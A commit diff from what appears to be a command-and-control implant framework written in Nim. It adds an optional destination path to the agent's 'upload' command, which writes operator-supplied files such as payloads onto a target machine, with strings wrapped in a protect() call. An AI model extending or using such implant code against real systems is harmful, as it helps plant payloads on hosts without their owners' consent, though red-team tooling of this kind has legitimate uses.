Updated 'upload' command.
This commit is contained in:
@@ -304,13 +304,14 @@ Arguments:
|
|||||||
### upload
|
### upload
|
||||||
Upload a file from the operator Desktop to the targe system.
|
Upload a file from the operator Desktop to the targe system.
|
||||||
```
|
```
|
||||||
Usage : upload <file>
|
Usage : upload <file> [destination]
|
||||||
Example : upload /path/to/payload.exe
|
Example : upload /path/to/payload.exe
|
||||||
|
|
||||||
Arguments:
|
Arguments:
|
||||||
Name Type Required Description
|
Name Type Required Description
|
||||||
--------------- ------ -------- --------------------
|
--------------- ------ -------- --------------------
|
||||||
* file BINARY YES Path to file to upload to the target machine.
|
* file BINARY YES Path to file to upload to the target machine.
|
||||||
|
* destination STRING NO Path to upload the file to. By default, uploads to current directory.
|
||||||
```
|
```
|
||||||
|
|
||||||
## SCREENSHOT
|
## SCREENSHOT
|
||||||
|
|||||||
@@ -27,6 +27,7 @@ let module* = Module(
|
|||||||
example: protect("upload /path/to/payload.exe"),
|
example: protect("upload /path/to/payload.exe"),
|
||||||
arguments: @[
|
arguments: @[
|
||||||
Argument(name: protect("file"), description: protect("Path to file to upload to the target machine."), argumentType: BINARY, isRequired: true),
|
Argument(name: protect("file"), description: protect("Path to file to upload to the target machine."), argumentType: BINARY, isRequired: true),
|
||||||
|
Argument(name: protect("destination"), description: protect("Path to upload the file to. By default, uploads to current directory."), argumentType: STRING, isRequired: false),
|
||||||
],
|
],
|
||||||
execute: executeUpload
|
execute: executeUpload
|
||||||
)
|
)
|
||||||
@@ -40,7 +41,7 @@ when not defined(agent):
|
|||||||
|
|
||||||
when defined(agent):
|
when defined(agent):
|
||||||
|
|
||||||
import os, std/paths, strformat
|
import os, strformat
|
||||||
import ../agent/utils/io
|
import ../agent/utils/io
|
||||||
import ../agent/protocol/result
|
import ../agent/protocol/result
|
||||||
import ../common/serialize
|
import ../common/serialize
|
||||||
@@ -72,17 +73,18 @@ when defined(agent):
|
|||||||
try:
|
try:
|
||||||
var arg: string = Bytes.toString(task.args[0].data)
|
var arg: string = Bytes.toString(task.args[0].data)
|
||||||
|
|
||||||
print arg
|
|
||||||
|
|
||||||
# Parse binary argument
|
# Parse binary argument
|
||||||
var unpacker = Unpacker.init(arg)
|
var unpacker = Unpacker.init(arg)
|
||||||
let
|
var
|
||||||
fileName = unpacker.getDataWithLengthPrefix()
|
destination = unpacker.getDataWithLengthPrefix()
|
||||||
fileContents = unpacker.getDataWithLengthPrefix()
|
fileContents = unpacker.getDataWithLengthPrefix()
|
||||||
|
|
||||||
|
# If a destination has been passed as an argument, upload it there instead
|
||||||
|
if task.argCount == 2:
|
||||||
|
destination = Bytes.toString(task.args[1].data)
|
||||||
|
|
||||||
# Write the file to the current working directory
|
# Write the file to the current working directory
|
||||||
let destination = fmt"{paths.getCurrentDir()}\{fileName}"
|
writeFile(destination, fileContents)
|
||||||
writeFile(fmt"{destination}", fileContents)
|
|
||||||
|
|
||||||
return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(fmt"File uploaded to {destination}."))
|
return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(fmt"File uploaded to {destination}."))
|
||||||
|
|
||||||
|
|||||||
Reference in New Issue
Block a user